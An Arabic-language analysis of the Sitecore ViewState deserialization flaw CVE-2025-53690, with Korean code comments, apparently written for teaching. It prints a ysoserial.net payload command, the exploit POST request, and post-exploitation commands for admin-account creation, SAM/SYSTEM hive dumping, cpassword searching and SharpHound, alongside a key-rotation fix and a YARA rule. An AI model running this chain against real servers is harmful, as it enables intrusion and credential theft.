
هذه هي وثائق تحليل CVE-2025-53690.
CVE-2025-53690 هي ثغرة أمنية خطيرة في إلغاء تسلسل ViewState تم اكتشافها في عائلة منتجات Sitecore، وتتيح تنفيذ التعليمات البرمجية عن بُعد من خلال استغلال مفاتيح machine key المكشوفة الخاصة بـ ASP.NET.
يكمن جوهر هذه الثغرة في سوء إدارة التكوين:
تُعد ViewState إحدى ميزات إدارة الحالة في ASP.NET، وتعمل على:
__VIEWSTATE<!-- web.config 예시 -->
<system.web>
<machineKey
validationKey="[64바이트 키]"
decryptionKey="[48바이트 키]"
validation="HMACSHA256"
decryption="AES" />
</system.web>
Target: /sitecore/blocked.aspx
Method: POST
특징: 인증 없이 접근 가능, ViewState 사용
ينشئ المهاجم حمولة خبيثة باستخدام machine key معروف وأداة ysoserial.net:
# ysoserial.net 사용 예시
ysoserial.exe -f ViewState -g TypeConfuseDelegate -c "calc.exe" --validationkey="[키]" --validationalg="HMACSHA256" --decryptionkey="[키]" --decryptionalg="AES"
POST /sitecore/blocked.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=[악성_페이로드]&__VIEWSTATEGENERATOR=[값]
/sitecore/blocked.aspx# 실행된 명령들
whoami
hostname
net user
tasklist
ipconfig /all
netstat -ano
net group "domain admins"
الأدوات التي تم نشرها:
7za.exe: أداة ضغط الملفاتlfe.ico: أداة الأنفاق الشبكية EARTHWORM1.vbs: نص VBScript لتنفيذ الأوامر# 로컬 관리자 계정 생성
net user asp$ [패스워드] /add
net localgroup administrators asp$ /add
net user sawadmin [패스워드] /add
net localgroup administrators sawadmin /add
جمع بيانات الاعتماد:
reg save HKLM\SYSTEM c:\users\public\system.hive
reg save HKLM\SAM c:\users\public\sam.hive
net user [AdminUser] /passwordchg:no /expires:never
wmic useraccount where name='[AdminUser]' set PasswordExpires=False
# Domain Controller 식별
nltest /DCLIST:[domain]
nslookup [domain-controller]
# GPO에서 cpassword 검색 (Group Policy Preferences 공격)
findstr /S /l cpassword \\[DC]\sysvol\[domain]\policies\*.xml
# BloodHound/SharpHound 실행
sh.exe -c all
// 수집하는 정보
Information.BasicsInfo basicsInfo = new Information.BasicsInfo
{
Directories = new Information.Directories
{
CurrentWebDirectory = HostingEnvironment.MapPath("~/")
},
OperatingSystemInformation = Information.GetOperatingSystemInformation(),
DiskInformation = Information.GetDiskInformation(),
NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
Process = Information.GetProcessInformation()
};
طريقة الإخراج: إخفاء البيانات عبر التمويه كـ ViewState
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUKLTcyODc4{AES 암호화 + base64 인코딩된 출력}" />
<!-- 고유한 machine key 생성 -->
<machineKey
validationKey="[새로운_64바이트_키]"
decryptionKey="[새로운_48바이트_키]"
validation="HMACSHA256"
decryption="AES" />
# YARA 규칙 예시 (WEEPSTEEL 탐지)
rule WEEPSTEEL_Detection {
strings:
$viewstate = "__VIEWSTATE"
$crypto = "System.Security.Cryptography"
$serializer = "JavaScriptSerializer"
condition:
all of them
}
تُعد CVE-2025-53690 مثالًا بارزًا على كيفية تحول خطأ تكوين بسيط إلى تهديد أمني خطير. من خلال هذه الثغرة، يمكن للمتعلمين تجربة دورة الحياة الكاملة لهجوم APT حقيقي وفهم تقنيات الهجوم الحديثة واستراتيجيات الدفاع.